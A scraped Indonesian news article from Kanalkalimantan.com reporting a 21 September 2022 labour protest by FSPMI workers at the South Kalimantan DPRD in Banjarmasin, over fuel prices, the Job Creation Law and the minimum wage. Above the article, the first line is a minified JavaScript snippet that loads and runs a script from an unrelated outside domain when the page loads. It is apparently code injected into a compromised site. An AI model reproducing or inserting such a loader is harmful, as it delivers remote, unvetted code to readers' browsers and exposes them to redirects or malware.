(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ratusan buruh yang tergabung dalam Federasi Serikat Metal Indonesia (FSPMI) menggelar aksi unjuk rasa di depan gedung DPRD Kalimantan Selatan Jl Lambung Mangkurat, Kota Banjarmasin pada Rabu (21/9/2022).
Pada aksi tersebut ada beberapa tuntutan yang para buruh sampaikan kepada dewan khususunya terkait penolakan kenaikan Bahan Bakar Minyak (BBM) dan beberapa tuntutan lainnya.
Tuntutan tersebut disampaikan massa buruh melalui kordinator aksi Sunarlan. Dalam orasinya, dia menyampaikan empat tuntutan yang disuarakan buruh pada aksi kali ini dari menolak kenaikan BBM hingga minta dinaikan UMP.
“Kami menolak dan menginginkan dicabutnya UU No 11 Tahun 2020 tentang Cipta Kerja, Naikan UMP Kalsel tahun 2023 sebesar 13% sampai 15%, dan turunkan harga kebutuhan pokok,” katanya.
Baca juga : Mantan Kades Kaburan Jadi Tersangka Korupsi Dana Desa
Sempat terjadi penolakan ketika perwakilan DPRD Kalsel mendatangi massa, karena para buruh menginginkan ketua DPRD langsung yang menemui dan mendengarkan tuntutan.
Beberapa menit berselang akhirnya Ketua DPRD Kalsel Supiah HK mendatangi massa yang memadati jalan Lambung Mangkurat hingga naik keatas mobil massa tempat orasi massa.
Ketua DPRD Kalsel mengatakan kepada massa buruh akan menampung segala aspirasi yang disampaikan dan akan menyampaikan kepemerintah pusat.
“Kita akan tampung semua aspirasinya, dan nanti kami akan bawa 3 perwakilan buruh untuk ikut ke sekretariat Presiden untuk membawa surat aspirasi tersebut,” katanya di tengah aksi.
Baca juga : BPS Tanbu Pendataan Awal Registrasi Sosial Ekonomi
Setelah aksi tersebut Ketua DPRD Kalsel juga memberikan kesempatan kepada 30 perwakilan buruh untuk beraudiensi di ruang rapat gedung DPRD Kalsel bersama ketua dan anggota DPRD Kalsel.
Pengamanan aksi buruh tersebut juga langsung dipimpin oleh Kapolresta Banjarmasin Kombes Pol Sabana Atmojo dengan dibantu personel dari Brimob Polda Kalsel.
Hingga aksi berakhir massa membubarkan diri secara tertib dan tidak sampai terjadi kericuhan saat berlangsungnya aksi penyampaian pendapat tersebut.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.